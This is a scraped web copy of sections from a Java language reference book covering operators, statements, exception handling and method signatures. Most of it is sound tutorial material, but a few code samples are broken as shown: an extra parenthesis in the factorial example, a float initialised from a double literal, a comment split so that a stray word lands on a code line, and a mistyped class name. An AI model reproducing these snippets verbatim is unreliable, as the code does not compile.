There are five language constructs in Java that are sometimes considered operators and sometimes considered simply part of the basic language syntax. These "operators" are listed in Table 2-5 in order to show their precedence relative to the other true operators. The use of these language constructs is detailed elsewhere in this chapter, but is described briefly here, so that you can recognize these constructs when you encounter them in code examples:

Object member access (.)

An object is a collection of data and methods that operate on that data; the data fields and methods of an object are called its members. The dot (.) operator accesses these members. If o is an expression that evaluates to an object reference, and f is the name of a field of the object, o.f evaluates to the value contained in that field. If m is the name of a method, o.m refers to that method and allows it to be invoked using the () operator shown later.

Array element access ([])

An array is a numbered list of values. Each element of an array can be referred to by its number, or index. The [] operator allows you to refer to the individual elements of an array. If a is an array, and i is an expression that evaluates to an int, a[i] refers to one of the elements of a. Unlike other operators that work with integer values, this operator restricts array index values to be of type int or narrower.

Method invocation (())

A method is a named collection of Java code that can be run, or invoked, by following the name of the method with zero or more comma-separated expressions contained within parentheses. The values of these expressions are the arguments to the method. The method processes the arguments and optionally returns a value that becomes the value of the method invocation expression. If o.m is a method that expects no arguments, the method can be invoked with o.m(). If the method expects three arguments, for example, it can be invoked with an expression such as o.m(x,y,z). Before the Java interpreter invokes a method, it evaluates each of the arguments to be passed to the method. These expressions are guaranteed to be evaluated in order from left to right (which matters if any of the arguments have side effects).

Object creation (new)

In Java, objects are created with the new operator, which is followed by the type of the object to be created and a parenthesized list of arguments to be passed to the object constructor. A constructor is a special method that initializes a newly created object, so the object creation syntax is similar to the Java method invocation syntax. For example:

new ArrayList();
new Point(1,2)

Type conversion or casting (())

As we've already seen, parentheses can also be used as an operator to perform narrowing type conversions, or casts. The first operand of this operator is the type to be converted to; it is placed between the parentheses. The second operand is the value to be converted; it follows the parentheses. For example:

(byte) 28          // An integer literal cast to a byte type
(int) (x + 3.14f)  // A floating-point sum value cast to an integer value
(String)h.get(k)   // A generic object cast to a more specific string type

Previous | Home | Next
2.4. Primitive Data Types | Book Index | 2.6. Statements
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Statements (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.6. Statements

A statement is a single "command" that is executed by the Java interpreter. By default, the Java interpreter runs one statement after another, in the order they are written. Many of the statements defined by Java, however, are flow-control statements, such as conditionals and loops, that alter this default order of execution in well-defined ways. Table 2-6 summarizes the statements defined by Java.

Table 2-6. Java Statements

Statement | Purpose | Syntax
expression | side effects | var=expr;expr++;method();new Type();
compound | group statements | { statements }
empty | do nothing | ;
labeled | name a statement | label : statement
variable | declare a variable | [final] type name [= value] [, name [= value]] ...;
if | conditional | if ( expr ) statement [ else statement]
switch | conditional | switch (expr) { [ case expr:statements ] ... [ default:statements ] }
while | loop | while ( expr ) statement
do | loop | do statement while ( expr );
for | simplified loop | for ( init ; test ; increment ) statement
break | exit block | break [ label ] ;
continue | restart loop | continue [ label ] ;
return | end method | return [ expr ] ;
synchronized | critical section | synchronized ( expr ) { statements }
throw | throw exception | throw expr ;
try | handle exception | try {statements} [ catch (typename) {statements} ] ... [ finally {statements} ]

2.6.1. Expression Statements

As we saw earlier in the chapter, certain types of Java expressions have side effects. In other words, they do not simply evaluate to some value, but also change the program state in some way. Any expression with side effects can be used as a statement simply by following it with a semicolon. The legal types of expression statements are assignments, increments and decrements, method calls, and object creation. For example:

a = 1;                             // Assignment
x *= 2;                            // Assignment with operation
i++;                               // Post-increment
--c;                               // Pre-decrement
System.out.println("statement");   // Method invocation

2.6.2. Compound Statements

A compound statement is any number and kind of statements grouped together within curly braces. You can use a compound statement anywhere a statement is required by Java syntax:

for(int i = 0; i < 10; i++) {
  a[i]++;                     // Body of this loop is a compound
  statement. b[i]--;          // It consists of two expression statements
}                             // within curly braces.

2.6.3. The Empty Statement

An empty statement in Java is written as a single semicolon. The empty statement doesn't do anything, but the syntax is occasionally useful. For example, you can use it to indicate an empty loop body of a for loop:

for(int i = 0; i < 10; a[i++]++)  // Increment array elements
    /* empty */;                  // Loop body is empty statement

2.6.4. Labeled Statements

A labeled statement is simply a statement that has been given a name by prepending a identifier and a colon to it. Labels are used by the break and continue statements. For example:

rowLoop: for(int r = 0; r < rows.length; r++) {        // A labeled loop
  colLoop: for(int c = 0; c < columns.length; c++) {   // Another one
    break rowLoop;                                     // Use a label
  }
}

2.6.5. Local Variable Declaration Statements

A local variable, often simply called a variable, is a symbolic name for a location where a value can be stored that is defined within a method or compound statement. All variables must be declared before they can be used; this is done with a variable declaration statement. Because Java is a strongly typed language, a variable declaration specifies the type of the variable, and only values of that type can be stored in the variable.

In its simplest form, a variable declaration specifies a variable's type and name:

int counter;
String s;

A variable declaration can also include an initializer : an expression that specifies an initial value for the variable. For example:

int i = 0;
String s = readLine();
int[] data = {x+1, x+2, x+3};  // Array initializers are documented later

The Java compiler does not allow you to use a variable that has not been initialized, so it is usually convenient to combine variable declaration and initialization into a single statement. The initializer expression need not be a literal value or a constant expression that can be evaluated by the compiler; it can be an arbitrarily complex expression whose value is computed when the program is run.

A single variable declaration statement can declare and initialize more than one variable, but all variables must be of the same type. Variable names and optional initializers are separated from each other with commas:

int i, j, k;
float x = 1.0, y = 1.0;
String question = "Really Quit?", response;

In Java 1.1 and later, variable declaration statements can begin with the final keyword. This modifier specifies that once an initial value is specified for the variable, that value is never allowed to change:

final String greeting = getLocalLanguageGreeting();

C programmers should note that Java variable declaration statements can appear anywhere in Java code; they are not restricted to the beginning of a method or block of code. Local variable declarations can also be integrated with the initialize portion of a for loop, as we'll discuss shortly.

Local variables can be used only within the method or block of code in which they are defined. This is called their scope or lexical scope :

void method() {           // A generic method
  int i = 0;              // Declare variable i
  while (i < 10) {        // i is in scope here
    int j = 0;            // Declare j; i and j are in scope here
  }                       // j is no longer in scope; can't use it anymore
  System.out.println(i);  // i is still in scope here
}                         // The scope of i ends here

2.6.6. The if/else Statement

The if statement is the fundamental control statement that allows Java to make decisions or, more precisely, to execute statements conditionally. The if statement has an associated expression and statement. If the expression evaluates to true, the interpreter executes the statement. If the expression evaluates to false, however, the interpreter skips the statement. For example:

if (username == null)         // If username is null,
  username = "John Doe";      // define it.

Although they look extraneous, the parentheses around the expression are a required part of the syntax for the if statement.

As I already mentioned, a block of statements enclosed in curly braces is itself a statement, so we can also write if statements that look as follows:

if ((address == null) || (address.equals(""))) {
  address = "[undefined]";
  System.out.println("WARNING: no address specified.");
}

An if statement can include an optional else keyword that is followed by a second statement. In this form of the statement, the expression is evaluated, and, if it is true, the first statement is executed. Otherwise, the second statement is executed. For example:

if (username != null)
  System.out.println("Hello " + username);
else {
  username = askQuestion("What is your name?");
  System.out.println("Hello " + username + ". Welcome!");
}

When you use nested if/else statements, some caution is required to ensure that the else clause goes with the appropriate if statement. Consider the following lines:

if (i == j)
  if (j == k)
    System.out.println("i equals k");
else
  System.out.println("i doesn't equal j");    // WRONG!!

In this example, the inner if statement forms the single statement allowed by the syntax of the outer if statement. Unfortunately, it is not clear (except from the hint given by the indentation) which if the else goes with. And in this example, the indentation hint is wrong. The rule is that an else clause like this is associated with the nearest if statement. Properly indented, this code looks like this:

if (i == j)
  if (j == k)
    System.out.println("i equals k");
  else
    System.out.println("i doesn't equal j");    // WRONG!!

This is legal code, but it is clearly not what the programmer had in mind. When working with nested if statements, you should use curly braces to make your code easier to read. Here is a better way to write the code:

if (i == j) {
  if (j == k)
    System.out.println("i equals k");
}
else {
  System.out.println("i doesn't equal j");
}

2.6.6.1. The else if clause

The if/else statement is useful for testing a condition and choosing between two statements or blocks of code to execute. But what about when you need to choose between several blocks of code? This is typically done with an elseif clause, which is not really new syntax, but a common idiomatic usage of the standard if/else statement. It looks like this:

if (n == 1) {
   // Execute code block #1
}
else if (n == 2) {
   // Execute code block #2
}
else if (n == 3) {
   // Execute code block #3
}
else {
   // If all else fails, execute block #4
}

There is nothing special about this code. It is just a series of if statements, where each if is part of the else clause of the previous statement. Using the elseif idiom is preferable to, and more legible than, writing these statements out in their fully nested form:

if (n == 1) {
  // Execute code block #1
}
else {
  if (n == 2) {
    // Execute code block #2
  }
  else {
    if (n == 3) {
      // Execute code block #3
    }
    else {
      // If all else fails, execute block #4
    }
  }
}

2.6.7. The switch Statement

An if statement causes a branch in the flow of a program's execution. You can use multiple if statements, as shown in the previous section, to perform a multiway branch. This is not always the best solution, however, especially when all of the branches depend on the value of a single variable. In this case, it is inefficient to repeatedly check the value of the same variable in multiple if statements.

A better solution is to use a switch statement, which is inherited from the C programming language. Although the syntax of this statement is not nearly as elegant as other parts of Java, the brute practicality of the construct makes it worthwhile. If you are not familiar with the switch statement itself, you may at least be familiar with the basic concept, under the name computed goto or jump table. A switch statement has an integer expression and a body that contains various numbered entry points. The expression is evaluated, and control jumps to the entry point specified by that value. For example, the following switch statement is equivalent to the repeated if and else/if statements shown in the previous section:

switch(n) {
  case 1:                         // Start here if n == 1
    // Execute code block #1
    break;                        // Stop here
  case 2:                         // Start here if n == 2
    // Execute code block #2
    break;                        // Stop here
  case 3:                         // Start here if n == 3
    // Execute code block #3
    break;                        // Stop here
  default:                        // If all else fails...
                                  // Execute code block #4
    break;                        // Stop here
}

As you can see from the example, the various entry points into a switch statement are labeled either with the keyword case, followed by an integer value and a colon, or with the special default keyword, followed by a colon. When a switch statement executes, the interpreter computes the value of the expression in parentheses and then looks for a case label that matches that value. If it finds one, the interpreter starts executing the block of code at the first statement following the case label. If it does not find a case label with a matching value, the interpreter starts execution at the first statement following a special-case default: label. Or, if there is no default: label, the interpreter skips the body of the switch statement altogether.

Note the use of the break keyword at the end of each case in the previous code. The break statement is described later in this chapter, but, in this case, it causes the interpreter to exit the body of the switch statement. The case clauses in a switch statement specify only the starting point of the desired code. The individual cases are not independent blocks of code, and they do not have any implicit ending point. Therefore, you must explicitly specify the end of each case with a break or related statement. In the absence of break statements, a switch statement begins executing code at the first statement after the matching case label and continues executing statements until it reaches the end of the block. On rare occasions, it is useful to write code like this that falls through from one case label to the next, but 99% of the time you should be careful to end every case and default section with a statement that causes the switch statement to stop executing. Normally you use a break statement, but return and throw also work.

A switch statement can have more than one case clause labeling the same statement. Consider the switch statement in the following method:

boolean parseYesOrNoResponse(char response) {
  switch(response) {
    case 'y':
    case 'Y': return true;
    case 'n':
    case 'N': return false;
    default: throw new IllegalArgumentException("Response must be Y or N");
  }
}

There are some important restrictions on the switch statement and its case labels. First, the expression associated with a switch statement must have a byte, char, short, or int value. The floating-point and boolean types are not supported, and neither is long, even though long is an integer type. Second, the value associated with each case label must be a constant value or a constant expression the compiler can evaluate. A case label cannot contain a runtime expressions involving variables or method calls, for example. Third, the case label values must be within the range of the data type used for the switch expression. And finally, it is obviously not legal to have two or more case labels with the same value or more than one default label.

2.6.8. The while Statement

Just as the if statement is the basic control statement that allows Java to make decisions, the while statement is the basic statement that allows Java to perform repetitive actions. It has the following syntax:

while (expression)
  statement

The while statement works by first evaluating the expression. If it is false, the interpreter skips the statement associated with the loop and moves to the next statement in the program. If it is true, however, the statement that forms the body of the loop is executed, and the expression is reevaluated. Again, if the value of expression is false, the interpreter moves on to the next statement in the program; otherwise it executes the statement again. This cycle continues while the expression remains true (i.e., until it evaluates to false), at which point the while statement ends, and the interpreter moves on to the next statement. You can create an infinite loop with the syntax while(true).

Here is an example while loop that prints the numbers 0 to 9:

int count = 0;
while (count < 10) {
  System.out.println(count);
  count++;
}

As you can see, the variable count starts off at 0 in this example and is incremented each time the body of the loop runs. Once the loop has executed 10 times, the expression becomes false (i.e., count is no longer less than 10), the while statement finishes, and the Java interpreter can move to the next statement in the program. Most loops have a counter variable like count. The variable names i, j, and k are commonly used as a loop counters, although you should use more descriptive names if it makes your code easier to understand.

2.6.9. The do Statement

A do loop is much like a while loop, except that the loop expression is tested at the bottom of the loop, rather than at the top. This means that the body of the loop is always executed at least once. The syntax is:

do
  statement
while ( expression ) ;

There are a couple of differences to notice between the do loop and the more ordinary while loop. First, the do loop requires both the do keyword to mark the beginning of the loop and the while keyword to mark the end and introduce the loop condition. Also, unlike the while loop, the do loop is terminated with a semicolon. This is because the do loop ends with the loop condition, rather than simply ending with a curly brace that marks the end of the loop body. The following do loop prints the same output as the while loop shown above:

int count = 0;
do {
  System.out.println(count);
  count++;
} while(count < 10);

Note that the do loop is much less commonly used than its while cousin. This is because, in practice, it is unusual to encounter a situation where you are sure you always want a loop to execute at least once.

2.6.10. The for Statement

The for statement provides a looping construct that is often more convenient than the while and do loops. The for statement takes advantage of a common looping pattern. Most loops have a counter, or state variable of some kind, that is initialized before the loop starts, tested to determine whether to execute the loop body, and then incremented, or updated somehow, at the end of the loop body before the test expression is evaluated again. The initialization, test, and update steps are the three crucial manipulations of a loop variable, and the for statement makes these three steps an explicit part of the loop syntax:

for(initialize ; test ; increment)
    statement

This for loop is basically equivalent to the following while loop:[2]

[2] As you'll see when we consider the continue statement, this while loop is not exactly equivalent to the for loop. We'll discuss how to write the true equivalent when we talk about the try/catch/finally statement.

initialize;
while(test) {
  statement;
  increment;
}

Placing the initialize, test, and increment expressions at the top of a for loop makes it especially easy to understand what the loop is doing, and it prevents mistakes such as forgetting to initialize or increment the loop variable. The interpreter discards the values of the initialize and increment expressions, so in order to be useful, these expressions must have side effects. initialize is typically an assignment expression, while increment is usually an increment, decrement, or some other assignment.

The following for loop prints the numbers 0 to 9, just as the previous while and do loops have done:

int count;
for(count = 0 ; count < 10 ; count++)
  System.out.println(count);

Notice how this syntax places all the important information about the loop variable on a single line, making it very clear how the loop executes. Placing the increment expression in the for statement itself also simplifies the body of the loop to a single statement; we don't even need to use curly braces to produce a statement block.

The for loop supports some additional syntax that makes it even more convenient to use. Because many loops use their loop variables only within the loop, the for loop allows the initialize expression to be a full variable declaration, so that the variable is scoped to the body of the loop and is not visible outside of it. For example:

for(int count = 0 ; count < 10 ; count++)
  System.out.println(count);

Furthermore, the for loop syntax does not restrict you to writing loops that use only a single variable. Both the initialize and increment expressions of a for loop can use a comma to separate multiple initializations and increment expressions. For example:

for(int i = 0, j = 10 ; i < 10 ; i++, j--)
    sum += i * j;

Even though all the examples so far have counted numbers, for loops are not restricted to loops that count numbers. For example, you might use a for loop to iterate through the elements of a linked list:

for(Node n = listHead; n != null; n = n.nextNode())
  process(n);

The initialize, test, and increment expressions of a for loop are all optional; only the semicolons that separate the expressions are required. If the test expression is omitted, it is assumed to be true. Thus, you can write an infinite loop as for(;;).

2.6.11. The break Statement

A break statement causes the Java interpreter to skip immediately to the end of a containing statement. We have already seen the break statement used with the switch statement. The break statement is most often written as simply the keyword break followed by a semicolon:

break;

When used in this form, it causes the Java interpreter to immediately exit the innermost containing while, do, for, or switch statement. For example:

for(int i = 0; i < data.length; i++) {  // Loop through the data array.
  if (data[i] == target) {              // When we find what we're looking for,
    index = i;                          // remember where we found it
    break;                              // and stop looking!
  }
}   // The Java interpreter goes here after executing break

The break statement can also be followed by the name of a containing labeled statement. When used in this form, break causes the Java interpreter to immediately exit from the named block, which can be any kind of statement, not just a loop or switch. For example:

testfornull: if (data != null) {             // If the array is defined,
  for(int row = 0; row < numrows; row++) {   // loop through one dimension,
    for(int col = 0; col < numcols; col++) { // then loop through the other.
      if (data[row][col] == null)            // If the array is missing data,
        break testfornull;                   // treat the array as undefined.
    }
  }
}  // Java interpreter goes here after executing break testfornull

2.6.12. The continue Statement

While a break statement exits a loop, a continue statement quits the current iteration of a loop and starts the next one. continue, in both its unlabeled and labeled forms, can be used only within a while, do, or for loop. When used without a label, continue causes the innermost loop to start a new iteration. When used with a label that is the name of a containing loop, it causes the named loop to start a new iteration. For example:

for(int i = 0; i < data.length; i++) {  // Loop through data.
  if (data[i] == -1)                    // If a data value is missing,
    continue;                           // skip to the next iteration.
  process(data[i]);                     // Process the data value.
}

while, do, and for loops differ slightly in the way that continue starts a new iteration:

  • With a while loop, the Java interpreter simply returns to the top of the loop, tests the loop condition again, and, if it evaluates to true, executes the body of the loop again.

  • With a do loop, the interpreter jumps to the bottom of the loop, where it tests the loop condition to decide whether to perform another iteration of the loop.

  • With a for loop, the interpreter jumps to the top of the loop, where it first evaluates the increment expression and then evaluates the test expression to decide whether to loop again. As you can see, the behavior of a for loop with a continue statement is different from the behavior of the "basically equivalent" while loop I presented earlier; increment gets evaluated in the for loop, but not in the equivalent while loop.

2.6.13. The return Statement

A return statement tells the Java interpreter to stop executing the current method. If the method is declared to return a value, the return statement is followed by an expression. The value of the expression becomes the return value of the method. For example, the following method computes and returns the square of a number:

double square(double x) {      // A method to compute x squared
  return x * x;                // Compute and return a value
}

Some methods are declared void to indicate they do not return any value. The Java interpreter runs methods like this by executing its statements one by one until it reaches the end of the method. After executing the last statement, the interpreter returns implicitly. Sometimes, however, a void method has to return explicitly before reaching the last statement. In this case, it can use the return statement by itself, without any expression. For example, the following method prints, but does not return, the square root of its argument. If the argument is a negative number, it returns without printing anything:

void printSquareRoot(double x) {     // A method to print square root of x
  if (x < 0) return;                 // If x is negative, return explicitly
  System.out.println(Math.sqrt(x));  // Print the square root of x
}                                    // End of method: return implicitly

2.6.14. The synchronized Statement

Since Java is a multithreaded system, you must often take care to prevent multiple threads from modifying an object simultaneously in a way that might corrupt the object's state. Sections of code that must not be executed simultaneously are known as critical sections. Java provides the synchronized statement to protect these critical sections. The syntax is:

synchronized ( expression ) {
  statements
}

expression is an expression that must evaluate to an object or an array. The statements constitute the code of the critical section and must be enclosed in curly braces. Before executing the critical section, the Java interpreter first obtains an exclusive lock on the object or array specified by expression. It holds the lock until it is finished running the critical section, then releases it. While a thread holds the lock on an object, no other thread can obtain that lock. Therefore, no other thread can execute this or any other critical sections that require a lock on the same object. If a thread cannot immediately obtain the lock required to execute a critical section, it simply waits until the lock becomes available.

Note that you do not have to use the synchronized statement unless your program creates multiple threads that share data. If only one thread ever accesses a data structure, there is no need to protect it with synchronized. When you do have to use synchronized, it might be in code like the following:

public static void SortIntArray(int[] a) {
  // Sort the array a. This is synchronized so that some other thread
  // cannot change elements of the array while we're sorting it (at
  // least not other threads that protect their changes to the array
  // with synchronized).
  synchronized (a) {
    // Do the array sort here...
  }
}

The synchronized keyword is also available as a modifier in Java and is more commonly used in this form than as a statement. When applied to a method, the synchronized keyword indicates that the entire method is a critical section. For a synchronized class method (a static method), Java obtains an exclusive lock on the class before executing the method. For a synchronized instance method, Java obtains an exclusive lock on the class instance. (Class and instance methods are discussed in Chapter 3, "Object-Oriented Programming in Java".)

2.6.15. The throw Statement

An exception is a signal that indicates some sort of exceptional condition or error has occurred. To throw an exception is to signal an exceptional condition. To catch an exception is to handle it--to take whatever actions are necessary to recover from it.

In Java, the throw statement is used to throw an exception:

throw expression ;

The expression must evaluate to an exception object that describes the exception or error that has occurred. We'll talk more about types of exceptions shortly; for now, all you need to know is that an exception is represented by an object. Here is some example code that throws an exception:

public static double factorial(int x) {
  if (x < 0)
    throw new IllegalArgumentException("x must be >= 0"));
  double fact;
  for(fact=1.0; x > 1; fact *= x, x--)
    /* empty */ ;          // Note use of the empty statement
  return fact;
}

When the Java interpreter executes a throw statement, it immediately stops normal program execution and starts looking for an exception handler that can catch, or handle, the exception. Exception handlers are written with the try/catch/finally statement, which is described in the next section. The Java interpreter first looks at the enclosing block of code to see if it has an associated exception handler. If so, it exits that block of code and starts running the exception-handling code associated with the block. After running the exception handler, the interpreter continues execution at the statement immediately following the handler code.

If the enclosing block of code does not have an appropriate exception handler, the interpreter checks the next higher enclosing block of code in the method. This continues until a handler is found. If the method does not contain an exception handler that can handle the exception thrown by the throw statement, the interpreter stops running the current method and returns to the caller. Now the interpreter starts looking for an exception handler in the blocks of code of the calling method. In this way, exceptions propagate up through the lexical structure of Java methods, up the call stack of the Java interpreter. If the exception is never caught, it propagates all the way up to the main() method of the program. If it is not handled in that method, the Java interpreter prints an error message, prints a stack trace to indicate where the exception occurred, and then exits.

2.6.15.1. Exception types

An exception in Java is an object. The type of this object is java.langThrowable, or more commonly, some subclass of Throwable that more specifically describes the type of exception that occurred.[3] Throwable has two standard subclasses: java.lang.Error and java.lang.Exception. Exceptions that are subclasses of Error generally indicate unrecoverable problems: the virtual machine has run out of memory, or a class file is corrupted and cannot be read, for example. Exceptions of this sort can be caught and handled, but it is rare to do so. Exceptions that are subclasses of Exception, on the other hand, indicate less severe conditions. These are exceptions that can be reasonably caught and handled. They include such exceptions as java.io.EOFException, which signals the end of a file, and java.lang.ArrayIndexOutOfBoundsException, which indicates that a program has tried to read past the end of an array. In this book, I use the term "exception" to refer to any exception object, regardless of whether the type of that exception is Exception or Error.

[3]We haven't talked about subclasses yet; they are covered in detail in Chapter 3, "Object-Oriented Programming in Java".

Since an exception is an object, it can contain data, and its class can define methods that operate on that data. The Throwable class and all its subclasses include a String field that stores a human-readable error message that describes the exceptional condition. It's set when the exception object is created and can be read from the exception with the getMessage() method. Most exceptions contain only this single message, but a few add other data. The java.io.InterruptedIOException, for example, adds a field named bytesTransferred that specifies how much input or output was completed before the exceptional condition interrupted it.

2.6.15.2. Declaring exceptions

In addition to making a distinction between Error and Exception classes, the Java exception-handling scheme also makes a distinction between checked and unchecked exceptions. Any exception object that is an Error is unchecked. Any exception object that is an Exception is checked, unless it is a subclass of java.lang.RuntimeException, in which case it is unchecked. (RuntimeException is a subclass of Exception.) The reason for this distinction is that virtually any method can throw an unchecked exception, at essentially any time. There is no way to predict an OutOfMemoryError, for example, and any method that uses objects or arrays can throw a NullPointerException if it is passed an invalid null argument. Checked exceptions, on the other hand, arise only in specific, well-defined circumstances. If you try to read data from a file, for example, you must at least consider the possibility that a FileNotFoundException will be thrown if the specified file cannot be found.

Java has different rules for working with checked and unchecked exceptions. If you write a method that throws a checked exception, you must use a throws clause to declare the exception in the method signature. The reason these types of exceptions are called checked exceptions is that the Java compiler checks to make sure you have declared them in method signatures and produces a compilation error if you have not. The factorial() method shown earlier throws an exception of type java.lang.IllegalArgumentException. This is a subclass of RuntimeException, so it is an unchecked exception, and we do not have to declare it with a throws clause (although we can if we want to be explicit).

Even if you never throw an exception yourself, there are times when you must use a throws clause to declare an exception. If your method calls a method that can throw a checked exception, you must either include exception-handling code to handle that exception or use throws to declare that your method can also throw that exception.

How do you know if the method you are calling can throw a checked exception? You can look at its method signature to find out. Or, failing that, the Java compiler will tell you (by reporting a compilation error) if you've called a method whose exceptions you must handle or declare. The following method reads the first line of text from a named file. It uses methods that can throw various types of java.io.IOException objects, so it declares this fact with a throws clause:

public static String readFirstLine(String filename) throws IOException {
  BufferedReader in = new BufferedReader(new FileReader(filename));
  return in.readLine();
}

We'll talk more about method declarations and method signatures later in this chapter.

2.6.16. The try/catch/finally Statement

The try/catch/finally statement is Java's exception-handling mechanism. The try clause of this statement establishes a block of code for exception handling. This try block is followed by zero or more catch clauses, each of which is a block of statements designed to handle a specific type of exception. The catch clauses are followed by an optional finally block that contains cleanup code guaranteed to be executed regardless of what happens in the try block. Both the catch and finally clauses are optional, but every try block must be accompanied by at least one or the other. The try, catch, and finally blocks all begin and end with curly braces. These are a required part of the syntax and cannot be omitted, even if the clause contains only a single statement.

The following code illustrates the syntax and purpose of the try/catch/finally statement:

try {
  // Normally this code runs from the top of the block to the bottom
  // without problems. But it can sometimes throw an exception,
  // either directly with a throw statement or indirectly by calling
  // a method that throws an exception.
}
catch (SomeException e1) {
  // This block contains statements that handle an exception object
  // of type SomeException or a subclass of that type. Statements in
  // this block can refer to that exception object by the name e1.
}
catch (AnotherException e2) {
  // This block contains statements that handle an exception object
  // of type AnotherException or a subclass of that type. Statements
  // in this block can refer to that exception object by the name e2.
}

finally {
  // This block contains statements that are always executed
  // after we leave the try clause, regardless of whether we leave it:
  //   1) normally, after reaching the bottom of the block;
  //   2) because of a break, continue, or return statement;
  //   3) with an exception that is handled by a catch clause above; or
  //   4) with an uncaught exception that has not been handled.
  // If the try clause calls System.exit(), however, the interpreter
  // exits before the finally clause can be run.
}

2.6.16.1. try

The try clause simply establishes a block of code that either has its exceptions handled or needs special cleanup code to be run when it terminates for any reason. The try clause by itself doesn't do anything interesting; it is the catch and finally clauses that do the exception-handling and cleanup operations.

2.6.16.2. catch

A try block can be followed by zero or more catch clauses that specify code to handle various types of exceptions. Each catch clause is declared with a single argument that specifies the type of exceptions the clause can handle and also provides a name the clause can use to refer to the exception object it is currently handling. The type and name of an exception handled by a catch clause are exactly like the type and name of an argument passed to a method, except that for a catch clause, the argument type must be Throwable or one of its subclasses.

When an exception is thrown, the Java interpreter looks for a catch clause with an argument of the same type as the exception object or a superclass of that type. The interpreter invokes the first such catch clause it finds. The code within a catch block should take whatever action is necessary to cope with the exceptional condition. If the exception is a java.io.FileNotFoundException exception, for example, you might handle it by asking the user to check his spelling and try again. It is not required to have a catch clause for every possible exception; in some cases the correct response is to allow the exception to propagate up and be caught by the invoking method. In other cases, such as a programming error signaled by NullPointerException, the correct response is probably not to catch the exception at all, but allow it to propagate and have the Java interpreter exit with a stack trace and an error message.

2.6.16.3. finally

The finally clause is generally used to clean up after the code in the try clause (e.g., close files, shut down network connections). What is useful about the finally clause is that it is guaranteed to be executed if any portion of the try block is executed, regardless of how the code in the try block completes. In fact, the only way a try clause can exit without allowing the finally clause to be executed is by invoking the System.exit() method, which causes the Java interpreter to stop running.

In the normal case, control reaches the end of the try block and then proceeds to the finally block, which performs any necessary cleanup. If control leaves the try block because of a return, continue, or break statement, the finally block is executed before control transfers to its new destination.

If an exception occurs in the try block, and there is an associated catch block to handle the exception, control transfers first to the catch block and then to the finally block. If there is no local catch block to handle the exception, control transfers first to the finally block, and then propagates up to the nearest containing catch clause that can handle the exception.

If a finally block itself transfers control with a return, continue, break, or throw statement or by calling a method that throws an exception, the pending control transfer is abandoned, and this new transfer is processed. For example, if a finally clause throws an exception, that exception replaces any exception that was in the process of being thrown. If a finally clause issues a return statement, the method returns normally, even if an exception has been thrown and has not been handled yet.

try and finally can be used together without exceptions or any catch clauses. In this case, the finally block is simply cleanup code that is guaranteed to be executed, regardless of any break, continue, or return statements within the try clause.

In previous discussions of the for and continue statements, we've seen that a for loop cannot be naively translated into a while loop because the continue statement behaves slightly differently when used in a for loop than it does when used in a while loop. The finally clause gives us a way to write a while loop that is truly equivalent to a for loop. Consider the following generalized for loop:

for( initialize ; test ; increment )
    statement

The following while loop behaves the same, even if the statement block contains a continue statement:

initialize ;
while ( test ) {
  try { statement }
  finally { increment ; }
}

Previous | Home | Next
2.5. Expressions and Operators | Book Index | 2.7. Methods
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Methods (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.7. Methods

A method is a named collection of Java statements that can be invoked by other Java code. When a method is invoked, it is passed zero or more values known as arguments. The method performs some computations and, optionally, returns a value. A method invocation is an expression that is evaluated by the Java interpreter. Because method invocations can have side effects, however, they can also be used as expression statements.

You already know how to define the body of a method; it is simply an arbitrary sequence of statements enclosed within curly braces. What is more interesting about a method is its signature. The signature specifies:

  • The name of the method

  • The type and name of each of the parameters used by the method

  • The type of the value returned by the method

  • The exception types the method can throw

  • Various method modifiers that provide additional information about the method

A method signature defines everything you need to know about a method before calling it. It is the method specification and defines the API for the method. The reference section of this book is essentially a list of method signatures for all publicly accessible methods of all publicly accessible classes of the Java platform. In order to use the reference section of this book, you need to know how to read a method signature. And, in order to write Java programs, you need to know how to define your own methods, each of which begins with a method signature.

A method signature looks like this:

modifiers type name ( paramlist ) [ throws exceptions ]

The signature (the method specification) is followed by the method body (the method implementation), which is simply a sequence of Java statements enclosed in curly braces. In certain cases (described in Chapter 3, "Object-Oriented Programming in Java"), the implementation is omitted, and the method body is replaced with a single semicolon.

Here are some example method definitions. The method bodies have been omitted, so we can focus on the signatures:

public static void main(String[] args) { ... }
public final synchronized int indexOf(Object element, int startIndex) { ... }
double distanceFromOrigin() { ... }
static double squareRoot(double x) throws IllegalArgumentException { ... }
protected abstract String readText(File f, String encoding)
          throws FileNotFoundException, UnsupportedEncodingException;

modifiers is zero or more special modifier keywords, separated from each other by spaces. A method might be declared with the public and static modifiers, for example. Other valid method modifiers are abstract, final, native, private, protected, and synchronized. The meanings of these modifiers are not important here; they are discussed in Chapter 3, "Object-Oriented Programming in Java".

The type in a method signature specifies the return type of the method. If the method returns a value, this is the name of a primitive type, an array type, or a class. If the method does not return a value, type must be void. A constructor is a special type of method used to initialize newly created objects. As we'll see in Chapter 3, "Object-Oriented Programming in Java", constructors are defined just like methods, except that their signatures do not include this type specification.

The name of a method follows the specification of its modifiers and type. Method names, like variable names, are Java identifiers and, like all Java identifiers, can use any characters of the Unicode character set. It is legal (and sometimes useful) to define more than one method with the same name, as long as each version of the method has a different parameter list. Defining multiple methods with the same name is called method overloading. The System.out.println() method we've seen so much of is an overloaded method. There is one method by this name that prints a string and other methods by the same name that print the values of the various primitive types. The Java compiler decides which method to call based on the type of the argument passed to the method.

When you are defining a method, the name of the method is always followed by the method's parameter list, which must be enclosed in parentheses. The parameter list defines zero or more arguments that are passed to the method. The parameter specifications, if there are any, each consist of a type and a name and are separated from each other by commas (if there are multiple parameters). When a method is invoked, the argument values it is passed must match the number, type, and order of the parameters specified in this method signature line. The values passed need not have exactly the same type as specified in the signature, but they must be convertible to those types without casting. C and C++ programmers should note that when a Java method expects no arguments, its parameter list is simply (), not (void).

The final part of a method signature is the throws clause, which I first described when we discussed the throw statement. If a method uses the throw statement to throw a checked exception, or if it calls some other method that throws a checked exception and does not catch or handle that exception, the method must declare that it can throw that exception. If a method can throw one or more checked exceptions, it specifies this by placing the throws keyword after the argument list and following it by the name of the exception class or classes it can throw. If a method does not throw any exceptions, it does not use the throws keyword. If a method throws more than one type of exception, separate the names of the exception classes from each other with commas.

Previous | Home | Next
2.6. Statements | Book Index | 2.8. Classes and Objects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Classes and Objects (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

